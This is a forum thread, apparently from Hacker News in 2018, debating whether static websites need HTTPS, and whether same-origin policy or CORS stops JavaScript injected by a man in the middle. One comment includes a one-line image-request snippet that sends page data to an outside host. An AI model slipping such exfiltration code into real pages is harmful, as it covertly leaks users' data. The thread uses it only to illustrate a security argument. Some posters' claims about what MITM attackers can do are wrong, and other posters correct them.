Re:Why Static Websites Need HTTPS
by austincheney on Tuesday August 28, 2018 @08:42AM
(#17858329)
No. https://en.wikipedia.org/wiki/Same-origin_policy
[ Parent
| on HN ]
Ohh I dunno. Lets say you're running a non-HTTPS site and an attacker MITMs one of your users and injects JavaScript which will appear to come from your site into that users session.
At that point the attacker can use that JavaScript to send your user's data to another server under their control, same origin won't help, as the JavaScript will appear to come from your site.
Uh, a MiTM will just show an entire fake site, or it can drop your content and just send a redirect header to any website it wants.
Re:Why Static Websites Need HTTPS
by austincheney on Tuesday August 28, 2018 @03:29PM
(#17862078)
Man in the middle attacks allow an attacker to read data over the wire. It does not mean the attacker and modify that data. It certainly doesn't mean the attacker can move traffic to a different end point.
Usually man in the middle attack refers to an attack where someone controls a connection between you and the server and is able to freely control the connection including modifying or completely fabricating any packets coming through. Your ISP and whoever controls the wifi router you connect to can modify any data coming through like this.
Uh, MiTM can modify traffic, tools to do that have been around at least 2 decades.
Re:Why Static Websites Need HTTPS
by mechanicalpulse on Tuesday August 28, 2018 @08:53AM
(#17858409)
Which you've noted three times but is just as wrong the third time as the first. You can break/disable SOP when it's trivially easy to edit the code.
Re:Why Static Websites Need HTTPS
by austincheney on Tuesday August 28, 2018 @03:42PM
(#17862191)
> You can break/disable SOP when it's trivially easy to edit the code.
How? SOP isn't related to the code. It is only concerned with the page address.
Re:Why Static Websites Need HTTPS
by icebraining on Tuesday August 28, 2018 @07:00PM
(#17863676)
The point is that you can put the code wherever you want, including inside the same origin context (e.g. right in the main HTML).
Re:Why Static Websites Need HTTPS
by bn-usd-mistake on Tuesday August 28, 2018 @08:48AM
(#17858362)
Same-origin is the other way around, it protects evilcorp.com from being called by non-https.com. So a simple CORS setup on evilcorp.com would indeed allow you to send all user data by MITMing non-https.com
Re:Why Static Websites Need HTTPS
by austincheney on Tuesday August 28, 2018 @03:32PM
(#17862106)
CORS allows a site to bypass same origin policy according to a whitelist specified in the corresponding HTTP header. The setup on evil.com is irrelevant. CORS must be instantiated from the server sending the page.
Re:Why Static Websites Need HTTPS
by icebraining on Tuesday August 28, 2018 @07:01PM
(#17863686)
No. From your link: "Note that in the CORS architecture, the ACAO header is being set by the external web service (service.example.com), not the original web application server (www.example.com). CORS allows the external web service to authorise the web application to use its services and does not control external services accessed by the web application."
How does same-origin policy (on a MITM'd website) prevents this?
(new Image()).src = 'https://example.com/data.php?payload=' + JSON.stringify(data);
Re:Why Static Websites Need HTTPS
by bn-usd-mistake on Tuesday August 28, 2018 @08:50AM
(#17858385)
It doesn't because Same-origin protects data on example.com, not on the embedding page (in your example). It is not a security measure that aims to prevent the issue mentioned by the grand parent post
Re:Why Static Websites Need HTTPS
by austincheney on Tuesday August 28, 2018 @03:33PM
(#17862115)
Here is how: https://news.ycombinator.com/edit?id=17861667